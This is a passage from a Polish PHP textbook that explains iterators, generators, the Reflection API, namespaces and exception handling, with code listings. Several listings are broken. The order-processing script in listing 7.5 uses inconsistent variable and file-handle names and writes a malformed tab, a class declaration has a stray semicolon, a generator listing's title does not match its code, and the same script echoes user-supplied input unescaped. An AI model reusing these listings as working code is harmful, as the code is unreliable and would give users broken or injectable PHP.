return $this->biezacyIndeks;
}
function current()
{
return $this->ob->dane[$this->biezacyIndeks];
}
function next()
{
$this->biezacyIndeks++;
}
}
Rozdział 6.  Obiektowy PHP 195

class Obiekt implements IteratorAggregate


{
public $dane = array();

function __construct($wejscie)
{
$this->dane = $wejscie;
}

function getIterator()
{
return new IteratorObiektu($this);
}
}

$mojObiekt = new Obiekt(array(2, 4, 6, 8, 10));

$mojIterator = $mojObiekt->getIterator();
for($mojIterator->rewind(); $mojIterator->valid(); $mojIterator->next())
{
$klucz = $mojIterator->key();
$wartosc = $mojIterator->current();
echo $klucz." => ".$wartosc."<br />";
}
?>

Klasa IteratorObiektu zawiera zestaw funkcji wymaganych przez interfejs Iterator:


 Konstruktor nie jest wymagany, choć niewątpliwie jest dobrym miejscem do ustanowienia
liczby elementów, przez które będzie przebiegać iteracja oraz połączenia z bieżącą daną.
 Funkcja rewind() powinna cofać wewnętrzny wskaźnik na początek zbioru danych.
 Funkcja valid() powinna informować, czy w bieżącej lokalizacji wskaźnika danych
znajdują się jeszcze jakieś dane.
 Funkcja key() powinna zwracać wartość wskaźnika danych.
 Funkcja current() powinna zwracać wartość przechowywaną na bieżącej pozycji
wskaźnika danych.
 Funkcja next() powinna przesuwać wskaźnik danych w zbiorze danych.

Powodem, dla którego warto używać tego rodzaju klasy iteratora, jest fakt, że interfejs do danych
nie zmieni się nawet wówczas, gdy zmieni się wewnętrzna implementacja. W naszym przykładzie
klasa IteratorAggregate jest zwykłą tablicą. Jeżeli zostanie ona zmieniona w tabelę mieszaną
lub listę połączoną, nadal będzie można przez nią przechodzić przy użyciu standardowej klasy
Iterator, choć sam kod źródłowy tej klasy powinien ulec odpowiednim zmianom.

Generatory
Generatory są pod wieloma względami podobne do iteratorów. Są one także stosowane w kilku
innych językach programowania, takich jak Python. Jednym ze sposobów myślenia o generatorach
jest wyobrażenie sobie, że ich definicje wyglądają jak funkcje, lecz działają jak iteratory.

Różnica pomiędzy implementacją generatora a implementacją zwyczajnej funkcji polega na tym,


że w generatorach wartość wynikowa jest zwracana przy użyciu instrukcji, a nie przy użyciu instruk-
cji return, jak to się dzieje w funkcjach. Zazwyczaj instrukcja yield jest umieszczana wewnątrz
pętli, gdyż generator zwraca zwykle wiele wartości.
196 Część I  Stosowanie PHP

Funkcje generatora należy wywoływać wewnątrz pętli foreach. Spowoduje to utworzenie obiektu
Generator, który praktycznie zapamięta wewnętrzny stan funkcji generatora. Każda iteracja
zewnętrznej pętli foreach sprawi, że generator wykona jedną iterację swojej wewnętrznej funkcji.

Działanie generatorów najprościej jest zrozumieć na przykładzie. Poniżej przedstawiony został


generator zastosowany w prostej grze. Gra ta polega na odliczaniu od 1 w górę. Za każdym razem,
gdy wypadnie liczba 3 lub jej wielokrotność, należy wyświetlić słowo „bip”, a za każdym razem,
gdy wypadnie liczba 5 lub jej wielokrotność, należy wyświetlić słowo „pip”. Jeśli liczba jest
podzielna zarówno przez 3, jak i 5, to należy wyświetlić słowo „bipip”.

Prosty generator używany w tej grze został przedstawiony na listingu 6.5.

Listing 6.5. bipip.php — użycie generatora do wyświetlania sekwencji bipip


<?php

function fizzbuzz($pierwsza, $ostatnia)


{
$biezaca = $pierwsza;
while ($biezaca <= $ostatnia) {
if ($biezaca%3 == 0 && $biezaca%5 == 0) {
yield "fizzbuzz";
} else if ($biezaca%3 == 0) {
yield "fizz";
} else if ($biezaca%5 == 0) {
yield "buzz";
} else {
yield $biezaca;
}
$biezaca++;
}
}

foreach(fizzbuzz(1,20) as $liczba) {
echo $liczba.'<br />';
}
?>

Funkcja generatora zostaje wywołana w pętli foreach. W momencie pierwszego wywołania tej
funkcji tworzony jest wewnętrzny obiekt generatora. Po wywołaniu funkcja jest wykonywana
do miejsca, w którym zostanie napotkana pierwsza instrukcja yield. Wykonanie tej instrukcji
spowoduje zwrócenie wartości i przekazanie sterowania do miejsca, w którym funkcja została
wywołana.

Najważniejszą rzeczą, na jaką należy zwrócić uwagę, jest to, że generator zachowuje stan.
Oznacza to, że podczas następnej iteracji zewnętrznej pętli foreach wykonywanie generatora
zostanie wznowione w miejscu, w którym wcześniej zostało przerwane, i będzie kontynuowane
aż do miejsca, w którym zostanie napotkana następna instrukcja yield. W ten sposób sterowanie
jest przekazywane tam i z powrotem pomiędzy główną linią kodu a funkcją generatora. Podczas
każdej iteracji zewnętrznej pętli foreach z generatora pobierana jest następna wartość sekwencji.

Jeśli ktoś chciałby sobie wyobrazić model generatora, to można by go porównać do wymyślnej
tablicy zawierającej wszystkie potencjalne wartości. Jednak podstawowa różnica pomiędzy gene-
ratorem oraz, dajmy na to, funkcją wypełniającą tablicę wszystkimi potencjalnymi wartościami
polega na tym, że generatory stosują tak zwane wykonywanie leniwe (ang. lazy execution).
Chodzi o to, że w danej chwili jest pobierana i przechowywana w pamięci tylko jedna wartość.
To sprawia, że generatory doskonale nadają się do operowania na dużych zbiorach danych, których
nie da się łatwo zmieścić w dostępnej pamięci.
Rozdział 6.  Obiektowy PHP 197

Przekształcanie klas w łańcuchy znaków


Jeżeli funkcję o nazwie __toString() zaimplementuje się we własnej klasie, będzie ona wywoływa-
na za każdym razem, gdy nastąpi próba wyświetlenia klasy, jak w poniższym przykładzie:
$p = new Drukowane;
echo $p;

Instrukcja echo wyświetli wszystkie dane zwrócone przez __toString(). Funkcję tę można na
przykład zaimplementować w następujący sposób:
class Drukowane;
{
var $testjeden;
var $testdwa;
public function __toString()
{
return(var_export($this, TRUE));
}
}

(Funkcja var_export() wyświetla wartości wszystkich atrybutów klasy).

Używanie API Reflection


Kolejnym mechanizmem PHP charakterystycznym dla orientacji obiektowej jest API Reflection.
Mechanizm ten umożliwia przeprowadzanie analizy klas i obiektów i odczytywanie ich struktury
i zawartości. Mechanizm ten może okazać się użyteczny, kiedy używane są klasy nieznane lub
nieudokumentowane, na przykład gdy wykorzystywane są interfejsy do zaszyfrowanych skryp-
tów PHP.

API to jest wysoce skomplikowane, dlatego zajmiemy się tylko prostym przykładem ilustrującym
ogólną ideę jego używania. Wróćmy na przykład do klasy Strona, którą zdefiniowano wcześniej
w tym rozdziale. Dzięki API Reflection można odczytać wszystkie informacje na temat tej klasy
tak, jak uczyniono to na listingu 6.6.

Listing 6.6. reflection.php — wyświetlanie informacji o klasie Strona


<?php

require_once("strona.inc");

$klasa = new ReflectionClass("Strona");


echo "<pre>".$klasa."</pre>";

?>

W przykładzie tym użyto metody __toString() klasy Reflection do wyświetlenia danych. Znacz-
niki <pre> wyświetlane są przez oddzielne wiersze kodu, aby wyraźnie uwidocznić moment wywo-
łania metody __toString().

Część danych wynikowych zwróconych przez powyższy kod przedstawiono na rysunku 6.3.
198 Część I  Stosowanie PHP

Rysunek 6.3.
Dane wynikowe
zwracane przez API
Reflection
są zadziwiająco
szczegółowe

Przestrzenie nazw
Przestrzenie nazw to mechanizm pozwalający na grupowanie klas bądź funkcji. Przestrzenie nazw
doskonale nadają się do łączenia powiązanych ze sobą elementów i tworzenia bibliotek.

Przed wprowadzeniem przestrzeni nazw jedynym dostępnym sposobem grupowania klas lub funkcji
na podstawie nazwy było dodawanie do nich odpowiednich prefiksów. Na przykład w przypadku
posiadania biblioteki klas do obsługi poczty elektronicznej nazwy wszystkich wchodzących w jej
skład klas mogły być poprzedzane słowem Mail. Przestrzenie nazw stanowią jednak znacznie
lepszy sposób tworzenia kolekcji powiązanego ze sobą kodu, a przy okazji rozwiązują dwa dodat-
kowe, powszechnie występujące problemy.

Przede wszystkim grupowanie klas i funkcji w przestrzeniach nazw pozwala unikać konfliktów
nazw. Załóżmy, że na potrzeby projektu została napisana klasa do obsługi pamięci podręcznej,
której nadano nazwę Cache. Jeśli w tym samym projekcie jest używany jakiś framework, to może
się zdarzyć, że także w nim będzie używana klasa o takiej samej nazwie. W takim przypadku twórcy
projektu będą mieli spory problem. Gdyby jednak każda z tych klas została umieszczona we własnej
przestrzeni nazw, to problemu dałoby się uniknąć.

Ponadto w starych systemach można było spotkać się z nazwami klas typu Tworca_Projekt_Cache_
Memcache. Już na pierwszy rzut oka widać, że taka nazwa jest dosyć dziwna. Dzięki przestrzeniom
nazw taką nazwę klasy można skrócić do nazwy Memcache, umieszczonej w odpowiedniej prze-
strzeni nazw.
Rozdział 6.  Obiektowy PHP 199

W celu utworzenia przestrzeni nazw należy użyć słowa kluczowego namespace, a za nim podać
jej nazwę. (Strasznie tu dużo tych nazw!). Cały kod umieszczony w pliku poniżej deklaracji prze-
strzeni nazw automatycznie będzie należeć do tej przestrzeni. Koniecznie trzeba zapamiętać, że
jeśli w jakimś pliku ma zostać zadeklarowana przestrzeń nazw, to jej deklaracja musi być umiesz-
czona w pierwszym wierszu kodu danego pliku.

W poniższym przykładzie utworzymy przestrzeń nazw Zamowienie, zawierającą cały kod związa-
ny z obsługą zamówień. Można w tym celu utworzyć plik o nazwie zamowienia.php (choć nazwa
samego pliku nie ma tu żadnego znaczenia), posiadający następującą zawartość:
<?php
namespace zamowienia;

class zamowienia
{
// ...
}

class pozycjaZamowienia
{
// ...
}
?>

Dostęp do klas umieszczonych w powyższej przestrzeni można uzyskać w taki oto sposób:
include 'zamowienia.php';
$mojeZamowienie = new zamowienia\zamowienie();

Trzeba zatem zwrócić uwagę na to, że chcąc użyć w kodzie klasy należącej do przestrzeni nazw
zamowienia, należy najpierw zapisać nazwę przestrzeni nazw, następnie znak lewego ukośnika,
a dopiero za nim nazwę klasy, którą należy zastosować. Znak lewego ukośnika jest także nazywany
separatorem przestrzeni nazw.

Podawanie nazwy przestrzeni w opisany powyżej sposób jest określane jako stosowanie w pełni
kwalifikowanej przestrzeni nazw. Klasy zamowienie można też używać bez określania przestrzeni
nazw, do której ona należy; można to zrobić w następujący sposób:
<?php
namespace zamowienia;
include 'zamowienia.php';
$mojeZamowienie = new zamowienie();
?>

Warto tu zwrócić uwagę na kilka interesujących zagadnień.

Przede wszystkim, jak widać, ta sama deklaracja przestrzeni nazw została użyta w kilku plikach.
Jest to całkowicie poprawne rozwiązanie. Oczywiście można by zadeklarować w tym pliku
kolejne klasy i funkcje i także one należałyby do przestrzeni nazw zamowienia. Ta możliwość
stanowi kolejną metodę wygodnego organizowania kodu w modularny sposób. W tym przypadku
umieszczenie deklaracji przestrzeni nazw na początku pliku oznacza dołączenie dalszego kodu
znajdującego się w pliku do przestrzeni nazw, co z kolei sprawia, że klas czy też funkcji należących
do tej przestrzeni będzie można używać bez poprzedzania ich pełną nazwą przestrzeni nazw.

Aby wyobrazić sobie przestrzenie nazw, można porównać je na przykład do katalogów w syste-
mie plików. Umieszczenie deklaracji przestrzeni nazw na początku pliku przenosi jego zawartość
do kontekstu przestrzeni zamowienia, dzięki czemu nie trzeba już określać ścieżki do innych ele-
mentów tej przestrzeni.
200 Część I  Stosowanie PHP

Koniecznie należy zapamiętać, że wszelkie klasy, do których odwołujemy się wewnątrz przestrzeni
nazw bez podawania w pełni kwalifikowanej nazwy przestrzeni nazw, są traktowane jako klasy
należące do tej przestrzeni. Jednakże funkcje i stałe podane bez w pełni kwalifikowanej nazwy
przestrzeni nazw będą najpierw poszukiwane w bieżącej przestrzeni, a jeśli nie uda się ich znaleźć,
to PHP spróbuje je odszukać w globalnej przestrzeni nazw. Ten sposób działania nie dotyczy
jednak klas.

Stosowanie podprzestrzeni nazw


Analogia do systemu plików jest jeszcze szersza i obejmuje także podprzestrzenie nazw. Okazuje
się bowiem, że można tworzyć całe hierarchie przestrzeni nazw, dokładnie tak samo jak można
tworzyć pliki i katalogi wewnątrz innych katalogów. Oto przykład takiej hierarchii przestrzeni nazw:
<?php
namespace janek\html\strona;
class Strona
{
// ...
}
?>

W powyższym przykładzie została zadeklarowana klasa Strona (używana już w jednym z wcze-
śniejszych przykładów), należąca do przestrzeni nazw janek\html\strona. Taki wzorzec określa-
nia struktury przestrzeni nazw jest stosowany całkiem często. W takim przypadku, aby skorzystać
z klasy Strona poza przestrzenią nazw, należy odwołać się do niej w następujący sposób:
$uslugi = new janek\html\strona\Strona();

Gdyby jednak kod należał do przestrzeni nazw janek, to odwołanie do klasy Strona musiałoby
przyjąć następującą postać:
$uslugi = new html\strona\Strona();

Prezentacja globalnej przestrzeni nazw


Każdy kod, który nie należy do żadnej zadeklarowanej przestrzeni nazw, domyślnie znajduje
się w przestrzeni globalnej. Można ją sobie wyobrazić jako katalog główny systemu plików.

Załóżmy, że tworzony projekt obejmuje przestrzeń nazw janek\html\strona oraz zadeklarowaną


globalnie klasę Strona. W takim przypadku klasy Strona można użyć w kodzie przestrzeni nazw,
poprzedzając ją pojedynczym znakiem lewego ukośnika, jak pokazano w poniższym przykładzie:
$uslugi = new \Strona();

Importowanie przestrzeni nazw oraz określanie ich nazw


zastępczych
Do importowania i tworzenia nazw zastępczych (tak zwanych aliasów) przestrzeni nazw służy
instrukcja use. Na przykład poniższy kod pokazuje, jak można sobie ułatwić korzystanie z kodu
należącego do przestrzeni nazw janek\html\strona:
use janek\html\strona;
$uslugi = new strona\Strona();
Rozdział 6.  Obiektowy PHP 201

Zastosowanie powyższej instrukcji use pozwala na użycie skrótu czy też nazwy zastępczej
strona zamiast w pełni kwalifikowanej nazwy przestrzeni janek\html\strona. Poza tym nazwa
zastępcza przestrzeni nazw może mieć całkowicie inną postać, na przykład:
use janek\html\strona as www;
$uslugi = new www\Strona();

W następnym rozdziale
W następnym rozdziale przedstawione zostaną mechanizmy obsługi wyjątków w PHP. Wyjątki są
wygodnym narzędziem obsługi błędów fazy wykonania.
202 Część I  Stosowanie PHP
Rozdział 7.
Obsługa błędów i wyjątków
W tym rozdziale omówione są zasady obsługi wyjątków i sposoby ich implementacji w PHP.
Wyjątki są nową, ważną funkcją w PHP. Zapewniają one zunifikowany obiektowy mechanizm
obsługi błędów w sposób rozszerzalny i łatwy w utrzymaniu.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 koncepcja obsługi wyjątków,
 struktury sterujące wyjątków: try...throw...catch,
 klasa Exception,
 wyjątki definiowane przez użytkownika,
 wyjątki w Części samochodowe Janka,
 wyjątki i inne mechanizmy obsługi błędów w PHP.

Koncepcja obsługi wyjątków


Podstawową zasadą w obsłudze wyjątków jest wykonywanie kodu wewnątrz tak zwanego bloku
try. Taka sekcja kodu wygląda następująco:
try
{
// tu znajduje się kod
}

Jeżeli wewnątrz bloku try coś zostanie wykonane nieprawidłowo, można wykonać operację
nazywaną zgłoszeniem wyjątku. W niektórych językach, na przykład Java, wyjątki w pewnych
przypadkach są zgłaszane automatycznie. W PHP wyjątki muszą być zgłaszane ręcznie. Operacja
ta jest wykonywana w następujący sposób:
throw new Exception($komunikat, kod);

Słowo kluczowe throw wywołuje mechanizm obsługi wyjątków. Jest to konstrukcja języka, a nie
funkcja, trzeba do niej jednak przekazać wartość. Oczekuje ona, że otrzyma obiekt jako parametr.
W najprostszym przypadku można utworzyć obiekt wbudowanej klasy Exception, tak jak pokazano
w powyższym przykładzie.

Konstruktor tej klasy wymaga podania do trzech parametrów: komunikatu, kodu oraz wcześniej-
szego wyjątku. Pierwsze dwa są przeznaczone do reprezentowania komunikatu błędu oraz nu-
meru kodu błędu. Trzeci parametr służy do przekazania wcześniej zgłoszonego wyjątku i jest uży-
wany w przypadku obsługi łańcuchów wyjątków. Wszystkie te parametry są opcjonalne.
204 Część I  Stosowanie PHP

Następnie, poniżej bloku try potrzebny jest co najmniej jeden blok catch. Blok catch jest zbu-
dowany następująco:
catch (typ wyjątek)
{
// obsługa wyjątku
}

Dla jednego bloku try można mieć kilka bloków catch. Zastosowanie więcej niż jednego bloku
catch ma sens, jeżeli każdy z nich ma za zadanie przechwycić inny typ wyjątku. Na przykład
jeżeli chcemy przechwycić wyjątki klasy Exception, blok catch będzie wyglądał następująco:
catch (Exception $e)
{
// obsługa wyjątku
}

Obiekt przekazany do bloku catch (i przechwycony przez niego) jest tym samym obiektem, który
jest przekazany do instrukcji throw, powodującej zgłoszenie wyjątku. Wyjątek może być dowol-
nego typu, ale najlepszym rozwiązaniem jest wykorzystywanie obiektów klasy Exception lub
obiektów własnych klas wyjątków dziedziczących po klasie Exception (sposób definiowania wła-
snych wyjątków jest przedstawiony w dalszej części rozdziału).
Po zgłoszeniu wyjątku PHP wyszukuje odpowiadający mu blok catch. Jeżeli utworzony jest więcej
niż jeden blok catch, obiekty przekazywane do tych bloków powinny być różnych typów, dzięki
czemu PHP może rozpoznać, do którego bloku przekazać sterowanie.

I w końcu poniżej wszystkich bloków catch można umieścić blok finally. Ten blok zostanie
wykonany zawsze po wykonaniu bloku try oraz bloków catch, i to niezależnie od tego, czy jakiś
wyjątek został zgłoszony oraz obsłużony, czy nie. Blok finally umieszczony poniżej bloków
try i catch ma następującą postać:
try {
// jakieś operacje, które potencjalnie mogą zgłosić wyjątek
} catch (Exception $e) {
// obsługa wyjątku
} finally {
echo 'Ten blok zawsze zostanie wywołany!';
}

Należy również wspomnieć, że wewnątrz bloku catch można zgłaszać kolejne wyjątki. Aby wyja-
śnić tę kwestię, przeanalizujmy poniższy przykład. Na listingu 7.1. pokazany jest prosty przykład
obsługi wyjątków.

Listing 7.1. prosty_wyjatek.php — zgłaszanie i przechwytywanie wyjątków


<?php
try {
throw new Exception("Wystąpił okropny wyjątek", 42);
}
catch (Exception $e) {
echo "Wyjątek ". $e->getCode(). ": ". $e->getMessage()."<br />".
" w pliku ". $e->getFile(). " w wierszu ". $e->getLine(). "<br />";
}
?>

Na listingu 7.1. pokazane jest zastosowanie różnych metod klasy Exception, które zostaną krótko
omówione poniżej. Wynik działania tego kodu jest pokazany na rysunku 7.1.
Rozdział 7.  Obsługa błędów i wyjątków 205

Rysunek 7.1.
Blok catch pozwala
wyświetlać komunikaty
błędów oraz miejsce
ich wystąpienia

W przykładowym kodzie zgłoszony został wyjątek klasy Exception. Ta klasa wbudowana zawiera
metody, które — wykorzystane w bloku catch — pozwalają na tworzenie pomocnych komuni-
katów błędów.

Klasa Exception
PHP zawiera wbudowaną klasę o nazwie Exception. Jej konstruktor posiada trzy opcjonalne para-
metry, o których już wcześniej wspominaliśmy: komunikat, kod błędu oraz poprzedni wyjątek.
Oprócz konstruktora klasa zawiera następujące metody:

 getCode() — zwraca kod przekazany do konstruktora,


 getMessage() — zwraca komunikat błędu przekazany do konstruktora,
 getFile() — zwraca pełną ścieżkę do pliku kodu źródłowego, w którym został
zgłoszony wyjątek,
 getLine() — zwraca numer wiersza kodu źródłowego, w którym został zgłoszony wyjątek,
 getTrace() — zwraca tablicę zawierającą zapis stosu wywołań do miejsca, w którym
został zgłoszony wyjątek,
 getTraceAsString() — zwraca te same informacje co getTrace(), ale sformatowane jako
łańcuch znaków,
 getPrevious() — zwraca poprzedni wyjątek (przekazany jako trzeci parametr
konstruktora),
 __toString() — pozwala wyświetlić zawartość obiektu Exception zawierający wszystkie
dane zwracane przez poprzednie metody.
Pierwsze cztery metody zostały wykorzystane w kodzie przedstawionym na listingu 7.1. Te same
informacje można uzyskać (wraz ze stosem wywołań), wywołując:
echo $e;

Stos wywołań pokazuje, które funkcje były wykonywane w czasie, gdy został zgłoszony wyjątek.
206 Część I  Stosowanie PHP

Wyjątki definiowane przez użytkownika


Zamiast tworzyć i przekazywać do bloku catch obiekt bazowej klasy Exception, można przeka-
zywać dowolny obiekt. W większości przypadków przy tworzeniu własnych klas wyjątków roz-
szerza się klasę Exception.
Można jednak za pomocą klauzuli throw przekazać dowolny obiekt. Warto czasami skorzystać
z tej możliwości, jeżeli występują problemy z jednym określonym obiektem i chcemy w ten sposób
zrealizować śledzenie jego działania.
Najczęściej jednak tworzone są klasy pochodne po klasie Exception. W podręczniku PHP zamiesz-
czony jest szkielet kodu klasy Exception. Kod ten, dostępny również pod adresem
http://php.net/manual/en/language.exceptions.extending.php, jest zamieszczony na listingu 7.2.
Trzeba pamiętać, że nie jest to faktyczny kod, a tylko reprezentacja kodu, jaki spodziewamy się
odziedziczyć.

Listing 7.2. Klasa Exception — kod, który będziemy dziedziczyć


<?php
class Exception
{
protected $message = 'Unknown exception'; // komunikat wyjątku
private $string; // miejsce na komunikat metody __toString
protected $code = 0; // kod wyjątku definiowany przez użytkownika
protected $file; // nazwa pliku źródłowego z wyjątkiem
protected $line; // numer wiersza z wyjątkiem
private $trace; // stos wywołań
private $previous; // poprzedni wyjątek, jeśli jest

public function __construct($message = null, $code = 0, Exception $previous = null);

final private function __clone(); // uniemożliwia klonowanie wyjątku

final public function getMessage(); // komunikat wyjątku


final public function getCode(); // kod wyjątku
final public function getFile(); // nazwa pliku źródłowego
final public function getLine(); // numer wiersza
final public function getTrace(); // tablica metody backtrace()
final public function getPrevious(); // poprzedni wyjątek
final public function getTraceAsString(); // wywołania jako sformatowany łańcuch

/* Metody do przesłaniania */
public function __toString(); // sformatowany łańcuch do wyświetlania
}
?>

Podstawowym powodem, dla którego zamieszczamy definicję tej klasy, jest pokazanie, że więk-
szość metod publicznych jest oznaczona jako final. Oznacza to, że nie można ich przedefiniować.
Można tworzyć własne klasy dziedziczące po Exception, ale nie da się zmieniać działania pod-
stawowych metod. Trzeba zauważyć, że metoda __toString() może zostać przedefiniowana, dzięki
czemu możliwa jest zmiana sposobu wyświetlania wyjątku. Można również dodawać własne
metody.

Przykład zdefiniowanej przez użytkownika klasy pochodnej po Exception jest zamieszczony na


listingu 7.3.
Rozdział 7.  Obsługa błędów i wyjątków 207

Listing 7.3. wyjatek_uzytkownika.php — przykład klasy wyjątku definiowanej przez użytkownika


<?php

class mojException extends Exception


{
function __toString()
{
return "</strong>Wyjątek ".$this->getCode()."</strong> "
.$this->getMessage(). "<br /> Został zgłoszony w pliku "
.$this->getFile().", w wierszu ".$this->getLine().".";
}
}

try
{
throw new mojException("Wystąpił okropny błąd", 42);
}
catch (mojException $m)
{
echo $m;
}
?>

W przedstawionym kodzie zadeklarowana została nowa klasa wyjątku o nazwie moj Exception,
która rozszerza podstawową klasę Exception. Różnica pomiędzy tą klasą a klasą Exception jest
taka, że zmieniona została metoda __toString(), aby zapewnić elegancki sposób wyświetlania
danych wyjątku. Wynik działania tego kodu jest pokazany na rysunku 7.2. Jak widać, jest on podob-
ny do wyników wygenerowanych w poprzednim przykładzie.

Rysunek 7.2.
Klasa mojException
udostępnia wyjątki
z eleganckim
wyświetlaniem

Przykład ten jest dosyć prosty. W następnym podrozdziale zapoznamy się ze sposobami różnych
wyjątków mających za zadanie obsługę różnych kategorii błędów.

Wyjątki w Częściach samochodowych Janka


W rozdziale 2., „Przechowywanie i wyszukiwanie danych”, opisany został sposób zapisu zamó-
wień Janka w pliku o płaskiej strukturze. Wiemy, że operacje wejścia-wyjścia na plikach (jak
wszystkie operacje wejścia-wyjścia) są jednym z fragmentów programu, gdzie najczęściej wy-
stępują błędy. Jest to świetne miejsce na wykorzystanie obsługi wyjątków.

Wracając do oryginalnego kodu, można zauważyć trzy miejsca, gdzie operacja zapisu do pliku
może się nie udać: plik nie da się otworzyć, nie można nałożyć blokady lub nie można zapisać do
pliku. Utworzyliśmy klasy wyjątków dla każdej z tych możliwości.
208 Część I  Stosowanie PHP

Kod tych wyjątków jest przedstawiony na listingu 7.4.

Listing 7.4. wyjatki_plikowe.php — wyjątki związane z operacjami wejścia-wyjścia na pliku


<?php
class otwarciePlikuException extends Exception
{
function __toString()
{
return "otwarciePlikuException ". $this->getCode()
. ": ". $this->getMessage()."<br />"." w "
. $this->getFile(). " w wierszu ". $this->getLine()
. "<br />";
}
}

class zapisPlikuException extends Exception


{
function __toString()
{
return "zapisPlikuException ". $this->getCode()
. ": ". $this->getMessage()."<br />"." w "
. $this->getFile(). " w wierszu ". $this->getLine()
. "<br />";
}
}

class blokadaPlikuException extends Exception


{
function __toString()
{
return "blokadaPlikuException ". $this->getCode()
. ": ". $this->getMessage()."<br />"." w "
. $this->getFile(). " w wierszu ". $this->getLine()
. "<br />";
}
}
?>

Te klasy pochodne po Exception nie realizują żadnych interesujących funkcji. Faktycznie, na


potrzeby tych aplikacji moglibyśmy pozostawić je jako puste klasy pochodne lub skorzystać z klasy
Exception. Dla każdej z tych klas zdefiniowaliśmy jednak metodę __toString(), która pozwala
rozróżnić typ przechwyconego wyjątku.

Następnie w taki sposób zmieniliśmy plik przetworzzamowienie.php z rozdziału 2., aby skorzystać
w nim z obsługi wyjątków. Nowa wersja tego pliku jest zamieszczona na listingu 7.5.

Listing 7.5. przetworzzamowienie.php — skrypt przetwarzający zamówienia Janka z dodaną obsługą wyjątków
<?php
require_once("wyjatki_plikowe.php");

// utworzenie krótkich nazw zmiennych


$iloscopon = (int)$_POST['iloscopon'];
$iloscoleju = (int)$_POST['iloscoleju'];
$iloscswiec = (int)$_POST['iloscswiec'];
$adres = preg_replace('/\t|\R/',' ',$_POST['adres']);
$date = date('H:i, jS F Y');
$document_root = $_SERVER['DOCUMENT_ROOT'];
?>
Rozdział 7.  Obsługa błędów i wyjątków 209

<!DOCTYPE html>
<html>
<head>
<title>Części samochodowe Janka — wyniki zamówienia</title>
</head>
<body>
<h1>Części samochodowe Janka</h1>
<h2>Wyniki zamówienia</h2>
<?php
echo "<p>Zamówienie przyjęte o ".date('H:i, jS F Y')."</p>";
echo "<p>Państwa zamówienie wygląda następująco:</p>";

$ilosc = 0;
$wartosc=0.00;

define('CENAOPON', 100);
define('CENAOLEJU', 10);
define('CENASWIEC', 4);

$ilosc = $iloscopon + $iloscoleju +$iloscswiec;


echo "<p>Ilość zamówionych produktów: ".$ilosc."<br />";

if( $ilosc == 0 ) {
echo "Na poprzedniej stronie nie zostało złożone żadne zamówienie!<br />";
} else {
if ( $iloscopon>0 ) {
echo htmlspecialchars($iloscopon)." opon<br />";
}
if ( $iloscoleju>0 ) {
echo htmlspecialchars($iloscoleju)." butelek oleju<br />";
}
if ( $iloscswiec>0 ) {
echo htmlspecialchars($iloscswiec)." świec zapłonowych<br />";
}
}

$wartosc = $iloscopon * CENAOPON


+ $iloscoleju * CENAOLEJU
+ $iloscswiec * CENASWIEC;

echo "Wartość zamówienia wynosi ".number_format($wartosc, 2, '.', ' ')."<br />";

$podatek = 0.22; // podatek wynosi 22%


$wartosc = $wartosc * (1 + $podatek);
echo "Wartość zamówienia z podatkiem wynosi: ".number_format($wartosc,2, '.', ' ')." PLN</p>";

echo "<p>Adres wysyłki to ".$adres."</p>";

$ciagwyjsciowy = $data."\t".$iloscopon." opon \t".$iloscoleju." butelek oleju\t"


.$iloscswiec." świec zapłonowych\t".$wartość
."PLN/t". $adres."\n";

// otwarcie pliku w celu dopisywania


try
{
if (!($fp = @fopen("$DOCUMENT_ROOT/../zamowienia/zamowienia.txt", 'ab'))) {
throw new otwarciePlikuException();
}

if (!flock($p, LOCK_EX)) {
throw new blokadaPlikuException();
}
210 Część I  Stosowanie PHP

if (!fwrite($wp, $ciagwyjsciowy)) {
throw new zapisPlikuException();
}

flock($wp, LOCK_UN);
fclose($wp);
echo '<p>Zamówienie zapisane.</p>';
}
catch (otwarciePlikuException $ope)
{
echo "<p><strong> Nie można otworzyć pliku zamówień.
Proszę skontaktować się z administratorem systemu.</strong></p>";
}
catch (Exception $e)
{
echo "<p><strong>Państwa zamówienie nie może zostać przyjęte w tej chwili.
Proszę spróbować później.</strong></p>";
}
?>
</body>
</html>

Jak łatwo zauważyć, część skryptu odpowiedzialna za operacje wejścia-wyjścia jest umieszczona
w bloku try. Tworzenie małych bloków try oraz catch z odpowiednimi wyjątkami powinno być
traktowane jako dobra praktyka kodowania. Powoduje to, że kod obsługi wyjątków jest łatwiejszy
do napisania i modyfikacji, ponieważ łatwo sprawdzić, jakie błędy należy obsłużyć.

Jeżeli nie można otworzyć pliku, zgłaszany jest wyjątek otwarciePlikuException; jeżeli nie można
zablokować pliku, zgłaszany jest wyjątek blokadaPlikuException; a jeżeli nie można zapisać
danych do pliku, zgłaszany jest wyjątek zapisPlikuException.

Przyjrzyjmy się blokom catch. Aby tylko zilustrować problem, dodaliśmy dwa takie bloki: jeden
do obsługi otwarciePlikuException, a drugi do obsługi Exception. Ponieważ pozostałe wyjątki dzie-
dziczą po Exception, mogą być przechwycone przez drugi blok catch. Bloki catch są dopasowywane
za pomocą identycznego mechanizmu, jak zastosowany w operatorze instanceof. Jest to jeden
z powodów, dla których powinno się tworzyć własne klasy wyjątków na podstawie jednej klasy.

Należy jeszcze pamiętać, że jeżeli zostanie zgłoszony wyjątek, dla którego nie został utworzony
odpowiedni blok catch, PHP zgłosi błąd krytyczny.

Wyjątki i inne mechanizmy obsługi błędów w PHP


Oprócz obsługi wyjątków opisanej w tym rozdziale PHP zawiera rozbudowane mechanizmy obsługi
błędów, które zostaną szczegółowo omówione w rozdziale 26., „Usuwanie i rejestracja błędów”.
Trzeba pamiętać, że proces zgłaszania i obsługi wyjątków nie modyfikuje ani nie uniemożliwia
stosowania tych mechanizmów.

Na listingu 7.5 można zauważyć, że wywołanie funkcji fopen() jest nadal poprzedzone operato-
rem @, którego zadaniem jest wyłączenie wyświetlania komunikatów błędów. Jeżeli funkcja nie
zostanie prawidłowo zakończona, w zależności od ustawień w pliku php.ini, komunikat błędu
może być wyświetlony lub zarejestrowany w dzienniku zdarzeń. Ustawienia te są opisane w roz-
dziale 26., ale należy pamiętać, że ostrzeżenie to pojawi się niezależnie od tego, czy został zgło-
szony wyjątek, czy nie.
Rozdział 7.  Obsługa błędów i wyjątków 211

Propozycje dalszych lektur


Dostępnych jest wiele podstawowych informacji na temat wyjątków. Dobry samouczek został przy-
gotowany przez firmę Oracle; opisano w nim, czym są wyjątki i jak można z nich korzystać (temat
został omówiony oczywiście z perspektywy języka Java). Dokument ten jest dostępny pod adresem
http://docs.oracle.com/javase/tutorial/essential/exceptions/handling.html.

W następnym rozdziale
Następna część książki jest poświęcona systemowi MySQL. Opiszemy, jak tworzyć i wypełniać
